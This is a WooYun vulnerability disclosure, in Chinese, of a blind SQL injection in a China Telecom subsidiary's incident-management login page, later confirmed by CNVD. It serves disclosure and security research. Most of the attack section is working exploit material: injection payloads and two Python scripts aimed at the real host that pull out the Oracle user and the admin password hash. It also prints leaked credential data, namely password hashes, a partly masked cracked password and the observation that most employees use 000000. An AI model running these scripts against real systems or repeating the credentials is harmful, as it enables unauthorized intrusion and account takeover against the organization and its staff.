当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136000

漏洞标题:中国电信某分站存在SQL注入漏洞泄漏大量敏感信息(附验证脚本)

相关厂商:cncert国家互联网应急中心

漏洞作者: 浮萍

提交时间:2015-08-24 11:05

修复时间:2015-10-10 08:54

公开时间:2015-10-10 08:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-24: 细节已通知厂商并且等待厂商处理中
2015-08-26: 厂商已经确认,细节仅向厂商公开
2015-09-05: 细节向核心白帽子及相关领域专家公开
2015-09-15: 细节向普通白帽子公开
2015-09-25: 细节向实习白帽子公开
2015-10-10: 细节向公众公开

简要描述:

SQL注入

详细说明:

中国电信增值业务运营中心事件管理系统
http://oa.ctrl.189.cn/web/login.do

选区_200.png


当输入不存在的用户时 会提示用户名不存在

选区_201.png


当输入a'or'1'='1时

选区_202.png


选区_203.png


提示密码错误
抓包
用户名输入admin时
提示密码错误

选区_204.png


admin'and/**/length(SYS_CONTEXT('USERENV','CURRENT_USER'))>0/**/and'a'='a

同样提示密码错误

admin'and/**/length(SYS_CONTEXT('USERENV','CURRENT_USER'))=11/**/and'a'='a

由此可知当前用户为11位

admin'and/**/substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1)='B'/**/and'a'='a

可知第一位为B
根据脚本

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list(string.ascii_uppercase)
#payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_'
#payloads ='0123456789ABCDEF'
print 'start to retrive Oracle user:'
user = ''
for i in range(1,11):
for payload in payloads:
conn = httplib.HTTPConnection('oa.ctrl.189.cn',timeout=60)
params = {
'j_password': '0cc175b9c0f1b6a831c399e269772661',
'txtPassword': 'a',
#'j_username': "0003'and/**/ascii(SUBSTR(password,%s,1))=%s" % (i, ord(payload)) +"/**/and/**/'a'='a",
'j_username': "admin'and/**/ascii(SUBSTR(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s" % (i, ord(payload)) +"/**/and/**/'a'='a",
#'j_username': "admin'and/**/ascii(SUBSTR(password,1,1))=48/**/and/**/'a'='a",
'txtUserName': 'a',

'x':61,

'y':26
}
conn.request(method='POST',
url='/web/j_security_check',
body = urllib.urlencode(params),
headers = headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()
#print html_doc
#print params
print '.',
if html_doc.count('密码错误!') > 0: # True
user += payload
print '\n[in progress]', user
break
print '\nOracle user is', user


选区_205.png


得出当前用户为BRIGHTSMDQ 一共10位
排查出第9位是特殊字符 经过测试 第9位为-

admin'and/**/ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),9,1))=95/**/and'a'='a


即当前用户为BRIGHTSM_DQ

漏洞证明:

然后可以跑出密码
这里以admin为例

admin'and/**/ascii(SUBSTR(password,1,1))=48/**/and/**/'a'='a


修改后的测试脚本为

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
#payloads = list(string.ascii_uppercase)
#payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_'
payloads ='0123456789ABCDEF'
print 'start to retrive admin\'s password:'
user = ''
for i in range(1,32):
for payload in payloads:
conn = httplib.HTTPConnection('oa.ctrl.189.cn',timeout=60)
params = {
'j_password': '0cc175b9c0f1b6a831c399e269772661',
'txtPassword': 'a',
'j_username': "admin'and/**/ascii(SUBSTR(password,%s,1))=%s" % (i, ord(payload)) +"/**/and/**/'a'='a",
#'j_username': "admin'and/**/ascii(SUBSTR(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s" % (i, ord(payload)) +"/**/and/**/'a'='a",
#'j_username': "admin'and/**/ascii(SUBSTR(password,1,1))=48/**/and/**/'a'='a",
'txtUserName': 'a',

'x':61,

'y':26
}
conn.request(method='POST',
url='/web/j_security_check',
body = urllib.urlencode(params),
headers = headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()
#print html_doc
#print params
print '.',
if html_doc.count('密码错误!') > 0: # True
user += payload
print '\n[in progress]', user
break
print '\nadmin\'s password is', user


选区_208.png


admin密码为

0F1910F0587044B88865DFA5C7970457


解密结果为 :8uh××××V
登录

选区_209.png


选区_211.png


选区_212.png


选区_213.png


选区_214.png


选区_215.png


根据最后一张图可知
大多数员工的密码为000000
要获取其他员工的密码 只需替换脚本中的用户admin即可
例如0003 的密码为670B14728AD9902AECBA32E22FA4F6BD 解密后为000000
登录提示密码过期

选区_216.png


选区_217.png


有许多密码都为000000 这里就不再列出了

修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-08-26 08:52

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理单位处置。注入技巧不错,rank 13

最新状态:

暂无